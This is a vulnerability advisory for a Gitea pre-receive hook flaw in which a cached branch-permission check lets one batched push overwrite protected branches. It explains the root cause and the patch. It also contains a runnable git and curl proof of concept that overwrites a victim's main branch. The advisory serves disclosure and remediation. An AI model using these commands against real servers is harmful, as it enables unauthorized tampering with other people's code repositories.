CVE-2026-27775: Gitea Pre-Receive Hook Authorization Bypass via Cached Branch Permission
A flaw in Gitea's git push handler lets an attacker who has maintainer-edit access to a single branch silently overwrite any other branch in the same repository by batching both refs in one push.
The problem
The CanWriteCode() method in routers/private/hook_pre_receive.go (lines 55-64) checks whether a user can write to a branch using CanMaintainerWriteToBranch(), then stores the result in canWriteCode behind a checkedCanWriteCode guard. Every subsequent ref in the same git push batch skips the check and reuses the cached boolean.
A separate contributing factor: when git >= 2.29 (AGit-flow) is detected, routers/web/repo/githttp.go:190-192 downgrades the outer receive-pack gate from Write to Read, so a user with only Read access can initiate a receive-pack session. All authorization is then deferred entirely to the pre-receive hook, which contains the caching bug.
Proof of concept
A working proof-of-concept for CVE-2026-27775 in code.gitea.io/gitea, with the exact payload below.
# Prerequisites: attacker has a PR open against victim/project with allow_maintainer_edit=true
# giving the attacker per-branch write access to feature-branch ONLY.
# 1. Attacker clones their own repo
git clone http://attacker:pw@<gitea>/attacker/project.git && cd project
# 2. Fetch the victim's PR branch and make a commit to it
git fetch -u http://<gitea>/victim/project feature-branch:victim-feature-branch
git checkout victim-feature-branch
echo "legitimate change" > feature.txt && git add . && git commit -m "PR update"
# 3. Prepare a malicious commit on main
git checkout main
echo "MALICIOUS CONTENT" > PWNED && git add . && git commit -m "pwned"
# 4. Push BOTH refs in a single operation -- feature-branch listed first so its
# permission check runs first and caches 'true' for the session.
# main:main is then accepted without a fresh permission check.
git push http://attacker:pw@<gitea>/victim/project.git victim-feature-branch:feature-branch main:main
# Verify: victim's main is now overwritten
curl "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/PWNED?ref=main"
# Returns attacker's MALICIOUS CONTENTThe root cause is a classic check-time vs. use-time mismatch (CWE-367 adjacent, classified as CWE-732 Incorrect Authorization). CanWriteCode() was designed to avoid repeated DB queries across one hook invocation, but ctx.branchName changes for every ref in the loop while the cached result does not.
The first ref (the legitimately granted feature branch) sets checkedCanWriteCode = true and canWriteCode = true; every following ref in the batch reads the cached true without evaluating CanMaintainerWriteToBranch() again.
The patch (commit 99f8b3d) removes the checkedCanWriteCode / canWriteCode fields from preReceiveContext entirely and rewrites CanWriteCode() to call CanMaintainerWriteToBranch() on every invocation. Per-call cost is bounded because loadPusherAndPermission() still has its own loadedPusher cache for the heavier permission load.
The fix
Upgrade to Gitea 1.26.3 or later. The fix is in commit 99f8b3d9a1d32f4c39828e07971455a18191e0b9 (PR #38151): the checkedCanWriteCode / canWriteCode caching fields are removed and CanWriteCode() now re-evaluates CanMaintainerWriteToBranch() for each ref in the push batch.
Reported by Adrian Denkiewicz (Doyensec) in collaboration with Claude and Anthropic Research.
Related research
- high · 8.1CVE-2026-55987CVE-2026-55987: Gitea OAuth2 Sign-In Reactivates Admin-Deactivated Accounts
- high · 8.9CVE-2026-58424CVE-2026-58424: Gitea Actions Fork PR Approval Gate Permanent Bypass
- high · 8.1CVE-2026-58439CVE-2026-58439: Gitea Branch Protection Bypass via PR Retargeting
- high · 7.5CVE-2026-58419CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation